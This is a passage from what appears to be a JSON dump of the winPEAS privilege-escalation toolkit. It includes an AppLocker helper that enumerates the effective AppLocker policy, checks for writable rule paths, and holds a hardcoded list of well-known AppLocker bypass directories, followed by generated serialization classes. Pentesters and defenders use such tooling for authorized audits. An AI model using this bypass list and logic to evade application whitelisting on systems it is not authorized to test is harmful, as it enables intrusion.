somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeRuntimeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of runtime assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeRuntimeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of runtime assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/AppLocker/AppLockerHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Helpers.AppLocker\n{\n    internal static class AppLockerHelper\n    {\n        private static readonly HashSet<string> _appLockerByPassDirectoriesSet = new HashSet<string>\n        {\n            @\"C:\\Windows\\Temp\",\n            @\"C:\\Windows\\System32\\spool\\drivers\\color\",\n            @\"C:\\Windows\\Tasks\",\n            @\"C:\\windows\\tracing\",\n            @\"C:\\Windows\\Registration\\CRMLog\",\n            @\"C:\\Windows\\System32\\FxsTmp\",\n            @\"C:\\Windows\\System32\\com\\dmp\",\n            @\"C:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys\",\n            @\"C:\\Windows\\System32\\spool\\PRINTERS\",\n            @\"C:\\Windows\\System32\\spool\\SERVERS\",\n            @\"C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter\",\n            @\"C:\\Windows\\System32\\Tasks_Migrated\",\n            @\"C:\\Windows\\SysWOW64\\FxsTmp\",\n            @\"C:\\Windows\\SysWOW64\\com\\dmp\",\n            @\"C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter\",\n            @\"C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System\",\n        };\n\n        // https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules\n        private static readonly Dictionary<string, HashSet<string>> _appLockerFileExtensionsByType = new Dictionary<string, HashSet<string>>()\n        {\n            { \"appx\", new HashSet<string> { \".appx\" } },\n            { \"dll\", new HashSet<string> { \".dll\", \".ocx\" } },\n            { \"exe\", new HashSet<string> { \".exe\", \".com\" } },\n            { \"msi\", new HashSet<string> { \".msi\", \".msp\", \".mst\" } },\n            { \"script\", new HashSet<string> { \".ps1\", \".bat\", \".cmd\", \".vbs\", \".js\"} },\n        };\n\n        private static Dictionary<string, HashSet<string>> _appLockerByPassDirectoriesByPath = null;\n        private const int FolderCheckMaxDepth = 3;\n\n        public static void CreateLists()\n        {\n            if (_appLockerByPassDirectoriesByPath != null) return;\n\n            _appLockerByPassDirectoriesByPath = new Dictionary<string, HashSet<string>>();\n\n            foreach (var appLockerByPassDirectory in _appLockerByPassDirectoriesSet)\n            {\n                string directoryLower = appLockerByPassDirectory.ToLower();\n                string currentDirectory = Directory.GetParent(directoryLower)?.FullName;\n\n                while (!string.IsNullOrEmpty(currentDirectory))\n                {\n                    if (!_appLockerByPassDirectoriesByPath.ContainsKey(currentDirectory))\n                    {\n                        _appLockerByPassDirectoriesByPath[currentDirectory] = new HashSet<string>();\n                    }\n\n                    if (!_appLockerByPassDirectoriesByPath[currentDirectory].Contains(appLockerByPassDirectory))\n                    {\n                        _appLockerByPassDirectoriesByPath[currentDirectory].Add(appLockerByPassDirectory);\n                    }\n\n                    currentDirectory = Directory.GetParent(currentDirectory)?.FullName;\n                }\n            }\n        }\n\n        public static void PrintAppLockerPolicy()\n        {\n            Beaprint.MainPrint(\"Checking AppLocker effective policy\");\n\n            try\n            {\n                string[] ruleTypes = { \"All\" };\n                var appLockerSettings = SharpAppLocker.GetAppLockerPolicy(SharpAppLocker.PolicyType.Effective, ruleTypes, string.Empty, false, false);\n\n                Beaprint.NoColorPrint($\"   AppLockerPolicy version: {appLockerSettings.Version}\\n   listing rules:\\n\\n\");\n\n                if (appLockerSettings.RuleCollection != null)\n                {\n                    foreach (var rule in appLockerSettings.RuleCollection)\n                    {\n                        PrintFileHashRules(rule);\n                        PrintFilePathRules(rule);\n                        PrintFilePublisherRules(rule);\n                    }\n                }\n            }\n            catch (COMException)\n            {\n                Beaprint.ColorPrint(\"     AppLocker unsupported on this Windows version.\", Beaprint.ansi_color_yellow);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintFilePublisherRules(AppLockerPolicyRuleCollection rule)\n        {\n            if (rule?.FilePublisherRule == null) return;\n\n            foreach (var filePublisherRule in rule.FilePublisherRule)\n            {\n                Beaprint.GoodPrint($\"   File Publisher Rule\\n\");\n\n                Beaprint.NoColorPrint($\"   Rule Type:               {rule.Type}\\n\" +\n                                      $\"   Enforcement Mode:        {rule.EnforcementMode}\\n\" +\n                                      $\"   Name:                    {filePublisherRule.Name}\\n\" +\n                                      $\"   Description:             {filePublisherRule.Description}\\n\" +\n                                      $\"   Action:                  {filePublisherRule.Action}\");\n\n                var color = GetColorBySid(filePublisherRule.UserOrGroupSid);\n\n                Beaprint.ColorPrint($\"   User Or Group Sid:       {filePublisherRule.UserOrGroupSid}\\n\", color);\n\n                Beaprint.GoodPrint($\"   Conditions\");\n\n                foreach (var condition in filePublisherRule.Conditions)\n                {\n                    Beaprint.NoColorPrint(\n                                      $\"   Binary Name:             {condition.BinaryName}\\n\" +\n                                      $\"   Binary Version Range:    ({condition.BinaryVersionRange.LowSection} - {condition.BinaryVersionRange.HighSection})\\n\" +\n                                      $\"   Product Name:            {condition.ProductName}\\n\" +\n                                      $\"   Publisher Name:          {condition.PublisherName}\\n\");\n                }\n\n                Beaprint.PrintLineSeparator();\n            }\n        }\n\n        private static void PrintFilePathRules(AppLockerPolicyRuleCollection rule)\n        {\n            if (rule?.FilePathRule == null) return;\n\n            foreach (var filePathRule in rule.FilePathRule)\n            {\n                Beaprint.GoodPrint($\"   File Path Rule\\n\");\n\n                var normalizedName = NormalizePath(filePathRule.Name);\n\n\n                Beaprint.NoColorPrint($\"   Rule Type:               {rule.Type}\\n\" +\n                                      $\"   Enforcement Mode:        {rule.EnforcementMode}\\n\" +\n                                      $\"   Name:                    {filePathRule.Name}\\n\" +\n                                      $\"   Translated Name:         {normalizedName}\\n\" +\n                                      $\"   Description:             {filePathRule.Description}\\n\" +\n                                      $\"   Action:                  {filePathRule.Action}\");\n\n                var color = GetColorBySid(filePathRule.UserOrGroupSid);\n\n                Beaprint.ColorPrint($\"   User Or Group Sid:       {filePathRule.UserOrGroupSid}\\n\", color);\n\n                Beaprint.GoodPrint($\"   Conditions\");\n\n                foreach (var condition in filePathRule.Conditions)\n                {\n                    // print wildcards as red and continue\n                    if (condition.Path == \"*\" || condition.Path == \"*.*\")\n                    {\n                        Beaprint.ColorPrint(\n                                      $\"   Path:                    {condition.Path}\", Beaprint.ansi_color_bad);\n\n                        continue;\n                    }\n\n                    Beaprint.NoColorPrint(\n                                      $\"   Path:                    {condition.Path}\");\n\n\n                    // TODO\n                    // cache permissions in a dictionary\n\n                    var normalizedPath = NormalizePath(condition.Path);\n\n                    // it's a file rule\n                    if (IsFilePath(normalizedPath))\n                    {\n                        // TODO\n                        // load permissions from cache\n\n                        // check file\n                        CheckFileWriteAccess(normalizedPath);\n\n                        // check directories\n                        string directory = Path.GetDirectoryName(normalizedPath);\n\n                        CheckDirectoryAndParentsWriteAccess(directory);\n                    }\n\n                    // it's a directory rule\n                    else\n                    {\n                        // TODO\n                        // load permissions from cache\n\n\n                        // does the directory exists?\n                        if (Directory.Exists(normalizedPath))\n                        {\n                            // can we write to the directory ?\n                            var folderPermissions = PermissionsHelper.GetPermissionsFolder(normalizedPath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                            // we can write \n                            if (folderPermissions.Count > 0)\n                            {\n                                Beaprint.BadPrint($\"    Directory \\\"{normalizedPath}\\\" Permissions: \" + string.Join(\",\", folderPermissions));\n                            }\n                            // we cannot write to the folder\n                            else\n                            {\n                                // first check well known AppLocker bypass locations\n                                if (_appLockerByPassDirectoriesByPath.ContainsKey(normalizedPath))\n                                {\n                                    // iterate over applocker bypass directories and check them\n                                    foreach (var subfolders in _appLockerByPassDirectoriesByPath[normalizedPath])\n                                    {\n                                        var subfolderPermissions = PermissionsHelper.GetPermissionsFolder(subfolders, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                                        // we can write \n                                        if (subfolderPermissions.Count > 0)\n                                        {\n                                            Beaprint.BadPrint($\"    Directory \\\"{subfolders}\\\" Permissions: \" + string.Join(\",\", subfolderPermissions));\n                                            break;\n                                        }\n                                    }\n                                }\n                                // the well-known bypass location does not contain the folder\n                                // check file / subfolder write permissions\n                                else\n                                {\n                                    // start with the current directory\n                                    bool isFileOrSubfolderWriteAccess = CheckFilesAndSubfolders(normalizedPath, rule.Type, 0);\n\n                                    if (!isFileOrSubfolderWriteAccess)\n                                    {\n                                        Beaprint.ColorPrint($\"    No potential bypass found while recursively checking files/subfolders \" +\n                                                                    $\"for write or equivalent permissions with depth: {FolderCheckMaxDepth}\\n\" +\n                                                                    $\"    Check permissions manually.\", Beaprint.YELLOW);\n                                    }\n                                }\n                            }\n                        }\n                        else\n                        {\n                            // do we have write access recursively for the parent folder(s)?\n                            CheckDirectoryAndParentsWriteAccess(normalizedPath);\n                        }\n\n                        // TODO\n                        // save to cache for faster next search\n                    }\n\n                    Beaprint.GoodPrint(\"\");\n                }\n\n                Beaprint.PrintLineSeparator();\n            }\n        }\n\n        private static void PrintFileHashRules(AppLockerPolicyRuleCollection rule)\n        {\n            if (rule?.FileHashRule == null) return;\n\n            foreach (var fileHashRule in rule.FileHashRule)\n            {\n                Beaprint.GoodPrint($\"   File Hash Rule\\n\");\n\n                Beaprint.NoColorPrint(\n                                   $\"   Rule Type:               {rule.Type}\\n\" +\n                                   $\"   Enforcement Mode:        {rule.EnforcementMode}\\n\" +\n                                   $\"   Name:                    {fileHashRule.Name}\\n\" +\n                                   $\"   Description:             {fileHashRule.Description}\\n\" +\n                                   $\"   Action:                  {fileHashRule.Action}\");\n\n                var color = GetColorBySid(fileHashRule.UserOrGroupSid);\n\n                Beaprint.ColorPrint(\n                                   $\"   User Or Group Sid:       {fileHashRule.UserOrGroupSid}\\n\", color);\n\n                Beaprint.GoodPrint($\"   Conditions\");\n\n                foreach (var condition in fileHashRule.Conditions)\n                {\n                    Beaprint.NoColorPrint(\n                                   $\"   Source File Name:        {condition.FileHash.SourceFileName}\\n\" +\n                                   $\"   Data:                    {condition.FileHash.Data}\\n\" +\n                                   $\"   Source File Length:      {condition.FileHash.SourceFileLength}\\n\" +\n                                   $\"   Type:                    {condition.FileHash.Type}\\n\");\n                }\n\n                Beaprint.PrintLineSeparator();\n            }\n        }\n\n        private static string GetColorBySid(string sid)\n        {\n            var color = Checks.Checks.CurrentUserSiDs.ContainsKey(sid)\n                ? Beaprint.ansi_color_bad\n                : Beaprint.ansi_color_good;\n\n            return color;\n        }\n\n        private static string NormalizePath(string path)\n        {\n            if (string.IsNullOrWhiteSpace(path)) return string.Empty;\n\n            var systemDrive = Environment.GetEnvironmentVariable(\"SystemDrive\");\n            path = path.Replace(\"%OSDRIVE%\", systemDrive);\n            path = path.Replace(\"*\", string.Empty);\n            path = path.TrimEnd('\\\\');\n\n            path = Environment.ExpandEnvironmentVariables(path);\n            path = path.ToLower();\n\n            return path;\n        }\n\n        private static bool CheckFilesAndSubfolders(string path, string ruleType, int depth)\n        {\n            if (string.IsNullOrWhiteSpace(ruleType)) throw new ArgumentNullException(nameof(ruleType));\n            if (depth == FolderCheckMaxDepth) return false;\n\n            try\n            {\n                if (Directory.Exists(path))\n                {\n                    var subfolders = Directory.EnumerateDirectories(path);\n                    var files = Directory.EnumerateFiles(path, \"*\", SearchOption.TopDirectoryOnly);\n\n                    ruleType = ruleType.ToLower();\n\n                    if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))\n                    {\n                        throw new ArgumentException(nameof(ruleType));\n                    }\n\n                    var filteredFiles =\n                        (from file in files\n                         let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty\n                         where _appLockerFileExtensionsByType[ruleType].Contains(extension)\n                         select file).ToList();\n\n                    // first check write access for files\n                    if (filteredFiles.Any(CheckFileWriteAccess))\n                    {\n                        return true;\n                    }\n\n                    // if we have not found any writable file, \n                    // check subfolders for write access\n                    if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))\n                    {\n                        return true;\n                    }\n\n                    // check recursively all the subfolders for files/sub-subfolders                     \n                    if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))\n                    {\n                        return true;\n                    }\n                }\n            }\n            catch (Exception)\n            {\n            }\n\n            return false;\n        }\n\n        private static bool CheckFileWriteAccess(string path)\n        {\n            if (string.IsNullOrWhiteSpace(path)) return false;\n\n            if (File.Exists(path))\n            {\n                var filePermissions = PermissionsHelper.GetPermissionsFile(path, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                if (filePermissions.Count > 0)\n                {\n                    Beaprint.BadPrint($\"    File \\\"{path}\\\" Permissions: \" + string.Join(\",\", filePermissions));\n\n                    return true;\n                }\n            }\n            else\n            {\n                Beaprint.BadPrint($\"    File \\\"{path}\\\" does not exist.\");\n            }\n\n            return false;\n        }\n\n        private static bool CheckDirectoryAndParentsWriteAccess(string directory)\n        {\n            while (!string.IsNullOrEmpty(directory))\n            {\n                // first check if we have write permission on the directory\n                if (CheckDirectoryWriteAccess(directory, out var isDirectoryExisting))\n                {\n                    return true;\n                }\n\n                // the directory exists and we don't have write permissions\n                // we can return false;\n                if (isDirectoryExisting)\n                {\n                    return false;\n                }\n\n                // if the current folder does not exists, check it's parent directory recursively\n                directory = Directory.GetParent(directory)?.FullName;\n            }\n\n            return false;\n        }\n\n        private static bool CheckDirectoryWriteAccess(string directory, out bool isDirectoryExisting, bool isGoodPrint = true)\n        {\n            isDirectoryExisting = true;\n\n            if (!Directory.Exists(directory))\n            {\n                Beaprint.BadPrint($\"    Directory \\\"{directory}\\\" does not exist.\");\n                isDirectoryExisting = false;\n            }\n            else\n            {\n                var folderPermissions = PermissionsHelper.GetPermissionsFolder(directory, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                if (folderPermissions.Count > 0)\n                {\n                    Beaprint.BadPrint($\"    Directory \\\"{directory}\\\" Permissions: \" + string.Join(\",\", folderPermissions));\n                }\n                else\n                {\n                    if (isGoodPrint)\n                    {\n                        Beaprint.GoodPrint($\"    {directory}\");\n                    }\n                }\n\n                return folderPermissions.Count > 0;\n            }\n\n            return false;\n        }\n\n        private static bool IsFilePath(string path)\n        {\n            return !string.IsNullOrEmpty(path) &&\n                   !string.IsNullOrWhiteSpace(Path.GetExtension(path));\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/AppLocker/AppLockerRules.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Helpers.AppLocker\n{\n    // NOTE: Generated code may require at least .NET Framework 4.5 or .NET Core/Standard 2.0.\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    [System.Xml.Serialization.XmlRootAttribute(Namespace = \"\", IsNullable = false)]\n    public partial class AppLockerPolicy\n    {\n\n        private AppLockerPolicyRuleCollection[] ruleCollectionField;\n\n        private byte versionField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlElementAttribute(\"RuleCollection\")]\n        public AppLockerPolicyRuleCollection[] RuleCollection\n        {\n            get\n            {\n                return this.ruleCollectionField;\n            }\n            set\n            {\n                this.ruleCollectionField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public byte Version\n        {\n            get\n            {\n                return this.versionField;\n            }\n            set\n            {\n                this.versionField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollection\n    {\n\n        private List<AppLockerPolicyRuleCollectionFileHashRule> fileHashRuleField;\n\n        private List<AppLockerPolicyRuleCollectionFilePathRule> filePathRuleField;\n\n        private List<AppLockerPolicyRuleCollectionFilePublisherRule> filePublisherRuleField;\n\n        private string typeField;\n\n        private string enforcementModeField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlElementAttribute(\"FileHashRule\")]\n        public List<AppLockerPolicyRuleCollectionFileHashRule> FileHashRule\n        {\n            get\n            {\n                return this.fileHashRuleField;\n            }\n            set\n            {\n                this.fileHashRuleField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlElementAttribute(\"FilePathRule\")]\n        public List<AppLockerPolicyRuleCollectionFilePathRule> FilePathRule\n        {\n            get\n            {\n                return this.filePathRuleField;\n            }\n            set\n            {\n                this.filePathRuleField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlElementAttribute(\"FilePublisherRule\")]\n        public List<AppLockerPolicyRuleCollectionFilePublisherRule> FilePublisherRule\n        {\n            get\n            {\n                return this.filePublisherRuleField;\n            }\n            set\n            {\n                this.filePublisherRuleField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Type\n        {\n            get\n            {\n                return this.typeField;\n            }\n            set\n            {\n                this.typeField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string EnforcementMode\n        {\n            get\n            {\n                return this.enforcementModeField;\n            }\n            set\n            {\n                this.enforcementModeField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFileHashRule\n    {\n\n        private AppLockerPolicyRuleCollectionFileHashRuleFileHashCondition[] conditionsField;\n\n        private string idField;\n\n        private string nameField;\n\n        private string descriptionField;\n\n        private string userOrGroupSidField;\n\n        private string actionField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlArrayItemAttribute(\"FileHashCondition\", IsNullable = false)]\n        public AppLockerPolicyRuleCollectionFileHashRuleFileHashCondition[] Conditions\n        {\n            get\n            {\n                return this.conditionsField;\n            }\n            set\n            {\n                this.conditionsField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Id\n        {\n            get\n            {\n                return this.idField;\n            }\n            set\n            {\n                this.idField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Name\n        {\n            get\n            {\n                return this.nameField;\n            }\n            set\n            {\n                this.nameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Description\n        {\n            get\n            {\n                return this.descriptionField;\n            }\n            set\n            {\n                this.descriptionField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string UserOrGroupSid\n        {\n            get\n            {\n                return this.userOrGroupSidField;\n            }\n            set\n            {\n                this.userOrGroupSidField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Action\n        {\n            get\n            {\n                return this.actionField;\n            }\n            set\n            {\n                this.actionField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFileHashRuleFileHashCondition\n    {\n\n        private AppLockerPolicyRuleCollectionFileHashRuleFileHashConditionFileHash fileHashField;\n\n        /// <remarks/>\n        public AppLockerPolicyRuleCollectionFileHashRuleFileHashConditionFileHash FileHash\n        {\n            get\n            {\n                return this.fileHashField;\n            }\n            set\n            {\n                this.fileHashField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFileHashRuleFileHashConditionFileHash\n    {\n\n        private string typeField;\n\n        private string dataField;\n\n        private string sourceFileNameField;\n\n        private uint sourceFileLengthField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Type\n        {\n            get\n            {\n                return this.typeField;\n            }\n            set\n            {\n                this.typeField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Data\n        {\n            get\n            {\n                return this.dataField;\n            }\n            set\n            {\n                this.dataField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string SourceFileName\n        {\n            get\n            {\n                return this.sourceFileNameField;\n            }\n            set\n            {\n                this.sourceFileNameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public uint SourceFileLength\n        {\n            get\n            {\n                return this.sourceFileLengthField;\n            }\n            set\n            {\n                this.sourceFileLengthField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFilePathRule\n    {\n\n        private AppLockerPolicyRuleCollectionFilePathRuleFilePathCondition[] conditionsField;\n\n        private string idField;\n\n        private string nameField;\n\n        private string descriptionField;\n\n        private string userOrGroupSidField;\n\n        private string actionField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlArrayItemAttribute(\"FilePathCondition\", IsNullable = false)]\n        public AppLockerPolicyRuleCollectionFilePathRuleFilePathCondition[] Conditions\n        {\n            get\n            {\n                return this.conditionsField;\n            }\n            set\n            {\n                this.conditionsField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Id\n        {\n            get\n            {\n                return this.idField;\n            }\n            set\n            {\n                this.idField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Name\n        {\n            get\n            {\n                return this.nameField;\n            }\n            set\n            {\n                this.nameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Description\n        {\n            get\n            {\n                return this.descriptionField;\n            }\n            set\n            {\n                this.descriptionField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string UserOrGroupSid\n        {\n            get\n            {\n                return this.userOrGroupSidField;\n            }\n            set\n            {\n                this.userOrGroupSidField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Action\n        {\n            get\n            {\n                return this.actionField;\n            }\n            set\n            {\n                this.actionField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFilePathRuleFilePathCondition\n    {\n\n        private string pathField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Path\n        {\n            get\n            {\n                return this.pathField;\n            }\n            set\n            {\n                this.pathField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFilePublisherRule\n    {\n\n        private AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherCondition[] conditionsField;\n\n        private string idField;\n\n        private string nameField;\n\n        private string descriptionField;\n\n        private string userOrGroupSidField;\n\n        private string actionField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlArrayItemAttribute(\"FilePublisherCondition\", IsNullable = false)]\n        public AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherCondition[] Conditions\n        {\n            get\n            {\n                return this.conditionsField;\n            }\n            set\n            {\n                this.conditionsField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Id\n        {\n            get\n            {\n                return this.idField;\n            }\n            set\n            {\n                this.idField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Name\n        {\n            get\n            {\n                return this.nameField;\n            }\n            set\n            {\n                this.nameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Description\n        {\n            get\n            {\n                return this.descriptionField;\n            }\n            set\n            {\n                this.descriptionField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string UserOrGroupSid\n        {\n            get\n            {\n                return this.userOrGroupSidField;\n            }\n            set\n            {\n                this.userOrGroupSidField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string Action\n        {\n            get\n            {\n                return this.actionField;\n            }\n            set\n            {\n                this.actionField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    [System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherCondition\n    {\n\n        private AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherConditionBinaryVersionRange binaryVersionRangeField;\n\n        private string publisherNameField;\n\n        private string productNameField;\n\n        private string binaryNameField;\n\n        /// <remarks/>\n        public AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherConditionBinaryVersionRange BinaryVersionRange\n        {\n            get\n            {\n                return this.binaryVersionRangeField;\n            }\n            set\n            {\n                this.binaryVersionRangeField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string PublisherName\n        {\n            get\n            {\n                return this.publisherNameField;\n            }\n            set\n            {\n                this.publisherNameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string ProductName\n        {\n            get\n            {\n                return this.productNameField;\n            }\n            set\n            {\n                this.productNameField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string BinaryName\n        {\n            get\n            {\n                return this.binaryNameField;\n            }\n            set\n            {\n                this.binaryNameField = value;\n            }\n        }\n    }\n\n    /// <remarks/>\n    